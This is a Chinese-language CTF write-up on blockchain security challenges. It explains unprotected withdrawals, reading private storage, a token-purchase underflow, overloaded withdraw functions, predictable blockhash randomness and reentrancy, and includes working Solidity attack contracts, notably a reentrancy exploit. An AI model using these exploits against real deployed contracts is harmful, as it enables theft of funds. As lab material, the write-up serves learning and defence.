感觉有点不太明白成为winner到底要干啥,但是withdrawDonationsFromTheSuckersWhoFellForIt()
函数可以转走合约中的钱,因此应该就能是winner了。
看了一下WP,原来这个靶场所有题目完成的标志是把钱转回。
写了个攻击合约才发现需要auth,是这个靶场对每一题都有的auth。我想直接交互,但是我不知道为什么remix这里点不了了:
(注:后来发现,是因为题目的那个给的都是小写,应该有一部分字母是大写,所以才不行。)
考虑到要与合约直接交互,我又不会web3.js和python的那个,正好想到了这个靶场是给abi的,因此利用这个:
myetherwallet
来交互。直接调用withdrawDonationsFromTheSuckersWhoFellForIt函数即可。
考察智能合约的可见性,读private量,拿web3.js读一下即可:
const Web3 = require('web3');
var Tx = require('ethereumjs-tx').Transaction;
// rpcURL = "https://rinkeby.infura.io/v3/2ab0c9f096474b2a8b7b60a25ded6c21";
rpcURL = "https://ropsten.infura.io/v3/4b96df939eb84de689c2ceb92b831086";
const web3 = new Web3(rpcURL);
web3.eth.getStorageAt("0xd62038f72ADa7Bb9fB78E86f0aFedDC37927ba9d", "1", function(x,y){
console.info(y);})
注意读的是slot1,因为继承的CtfFramework合约还有个mapping占据了slot0。
函数重写的时候没加上onlyOwner的修饰,看一下余额是150000000000000000,直接collectFunds弄回来就可以了。
找了一会没找到有什么利用点:
contract SIToken is StandardToken {
using SafeMath for uint256;
string public name = "SIToken";
string public symbol = "SIT";
uint public decimals = 18;
uint public INITIAL_SUPPLY = 1000 * (10 ** decimals);
constructor() public{
totalSupply_ = INITIAL_SUPPLY;
balances[this] = INITIAL_SUPPLY;
}
}
contract SITokenSale is SIToken, CtfFramework {
uint256 public feeAmount;
uint256 public etherCollection;
address public developer;
constructor(address _ctfLauncher, address _player) public payable
CtfFramework(_ctfLauncher, _player)
{
//minus a small developer fee
feeAmount = 10 szabo;
developer = msg.sender;
purchaseTokens(msg.value);
}
function purchaseTokens(uint256 _value) internal{
require(_value > 0, "Cannot Purchase Zero Tokens");
require(_value < balances[this], "Not Enough Tokens Available");
balances[msg.sender] += _value - feeAmount;
balances[this] -= _value;
balances[developer] += feeAmount;
etherCollection += msg.value;
}
function () payable external ctf{
purchaseTokens(msg.value);
}
// Allow users to refund their tokens for half price ;-)
function refundTokens(uint256 _value) external ctf{
require(_value>0, "Cannot Refund Zero Tokens");
transfer(this, _value);
etherCollection -= _value/2;
msg.sender.transfer(_value/2);
}
function withdrawEther() external ctf{
require(msg.sender == developer, "Unauthorized: Not Developer");
require(balances[this] == 0, "Only Allowed Once Sale is Complete");
msg.sender.transfer(etherCollection);
}
}
很明显withdrawEther我们没法用,能用的就只有refundTokens,但是只能把余额的一般提取出来,因此需要想办法让我们自己的balanceOf
足够到可以将合约里的前拿出来。
又找了一会,在这里发现了溢出:
balances[msg.sender] += _value - feeAmount;
因此转过去的value<10
即可溢出,使我们的balance无限大,就可以将全部的钱取出了。
记得refundTokens
的时候,传的值是合约余额的2倍。
这题不会,看了WP才恍然大悟,原来是这样。
主要就是SecureBank和MembersBank合约的withdraw函数是不同的:
function withdraw(address _user, uint256 _value) public isMember(_user) ctf{
function withdraw(address _user, uint8 _value) public ctf{
_value
一个是uint256,另一个是uint8,因此就不算是继承重写了,而是2个不同的函数,在wallet里面也能直接看出来有2个withdraw函数:
但是他们都调用了super.withdraw
,这里都是调用SimpleBank
的withdraw
函数:
//取钱
//但是这个取钱可以任意取别人的,没有检测
//后续的子合约应该会加上
function withdraw(address _user, uint256 _value) public ctf{
require(_value<=balances[_user], "Insufficient Balance");
balances[_user] -= _value;
msg.sender.transfer(_value);
}
因此可以任意取任何人的钱,只不过需要这个人是member里面的,注册一下即可。
去Etherscan能看到创建合约的人的address,0.4ether的余额就在这个人的balance里面:
给这个人注册一下,然后转走就可以了。学到了学到了!
区块链的随机数问题:
bytes32 entropy = blockhash(block.number);
bytes32 entropy2 = keccak256(abi.encodePacked(msg.sender));
bytes32 target = keccak256(abi.encodePacked(entropy^entropy2));
bytes32 guess = keccak256(abi.encodePacked(_seed));
首先是entropy,官方文档写了:
block.blockhash(uint blockNumber) returns (bytes32): hash of the given block - only works for 256 most recent blocks excluding current
意思是说 block.blockhash() 只能使用近 256 个块的块号来获取 Hash 值,并且还强调了不包含当前块,如果使用当前块进行计算 block.blockhash(block.numbber) 其结果始终为 0x0000000…
因此entropy是0x000000000…,然后entropy2是我们可以算出来的,^
是相同为0,不同为1,因此只要让_seed
是uint(keccak256(abi.encodePacked(msg.sender)))
即可。
contract Feng {
uint public res;
bytes32 public entropy;
bytes32 public entropy2;
function attack() public {
entropy = blockhash(block.number);
entropy2 = keccak256(abi.encodePacked(msg.sender));
res = uint(entropy^entropy2);
}
}
审计一下,比较明显的重入攻击:
function withdraw() external ctf{
require(allowancePerYear > 0, "No Allowances Allowed");
checkIfYearHasPassed();
require(!withdrewThisYear, "Already Withdrew This Year");
if (msg.sender.call.value(allowancePerYear)()){
withdrewThisYear = true;
numberOfWithdrawls = numberOfWithdrawls.add(1);
}
}
写个攻击合约打一下就行了,注意打之前调用ctf_challenge_add_authorized_sender
给攻击合约权限。
pragma solidity 0.4.24;
interface TrustFund{
function withdraw() external ;
}
contract Feng {
uint public times = 0;
TrustFund constant private target = TrustFund(0x1cb648a1f2014Ddc2e12432075E4f93bA8cfB48D);
function attack() public {
target.withdraw();
times++;
}
function() public payable {
if(times != 10){
target.withdraw();
times++;
}
}
function kill() public {
selfdestruct(msg.sender);
}
}
attack打完别忘了kill,把钱再转回来。
打完才发现我好像跳题了,本来按照顺序应该是record label的,问题不大,接下来的6题放到(下)了。